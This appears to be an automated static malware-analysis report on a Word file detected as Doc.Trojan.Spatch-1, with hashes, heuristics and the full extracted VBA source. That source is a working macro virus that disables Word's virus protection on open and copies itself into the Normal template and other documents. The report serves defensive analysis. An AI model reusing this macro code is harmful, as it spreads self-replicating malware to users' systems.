Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c2f382d323a3d20…

MALICIOUS

Office (OLE)

28.5 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f47c0b21b527409454835e5d41e745ea SHA-1: 75ffc14d8591e7eb4b48c9ad3a24adbfefa1410f SHA-256: 1c2f382d323a3d20ec5c128c734c6ee3212cd010ef4f39c4e7ee6d8581b49abe
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The script attempts to export itself to a temporary file 'C:\Tmp.bas' and then import it into the Normal template, establishing persistence. The presence of legacy WordBasic markers and the ClamAV detection further indicate malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Spatch-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Spatch-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2194 bytes
SHA-256: 86cc7dbe1eaa1cfde730387af2ef1715b563fa6f248d4ea04d081e6af788893a
Detection
ClamAV: Doc.Trojan.Spatch-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SpoolWatch"

Public Sub AutoOpen()
    Options.VirusProtection = False
    RepToNormal
    RepToDocs
End Sub

'Public Sub FileSave()
'    Options.VirusProtection = False
'    RepToDocs
'    ActiveDocument.Save
'End Sub

Public Sub RepToNormal()
    Dim ModuleName As String, TMPFile As String
    Dim ModuleExists As Boolean, TMPExists As Boolean
    TMPFile = "C:\Tmp.bas"
    TMPExists = False
    ModuleName = "SpoolWatch"
    For Each VBC In ActiveDocument.VBProject.VBComponents
        If VBC.Name = ModuleName Then
            VBC.Export (TMPFile)
            TMPExists = True
        End If
    Next VBC
    ModuleExists = False
    For Each VBC In Application.NormalTemplate.VBProject.VBComponents
        If VBC.Name = ModuleName Then
            ModuleExists = True
        End If
    Next VBC
    If Not ModuleExists Then
        Application.NormalTemplate.VBProject.VBComponents.Import (TMPFile)
        Application.NormalTemplate.Save
    End If
    If TMPExists Then FileSystem.Kill (TMPFile)
End Sub

Public Sub RepToDocs()
    Dim ModuleName As String, TMPFile As String
    Dim ModuleExists As Boolean, TMPExists As Boolean
    TMPFile = "C:\Tmp.bas"
    TMPExists = False
    ModuleName = "SpoolWatch"
    For Each VBC In Application.NormalTemplate.VBProject.VBComponents
        If VBC.Name = ModuleName Then
            VBC.Export (TMPFile)
            TMPExists = True
        End If
    Next VBC
    ModuleExists = False
    For Each VBC In Application.ActiveDocument.VBProject.VBComponents
        If VBC.Name = ModuleName Then
            ModuleExists = True
        End If
    Next VBC
    If Not ModuleExists Then
        Application.ActiveDocument.VBProject.VBComponents.Import (TMPFile)
        Application.ActiveDocument.Save
    End If
    If TMPExists Then FileSystem.Kill (TMPFile)
End Sub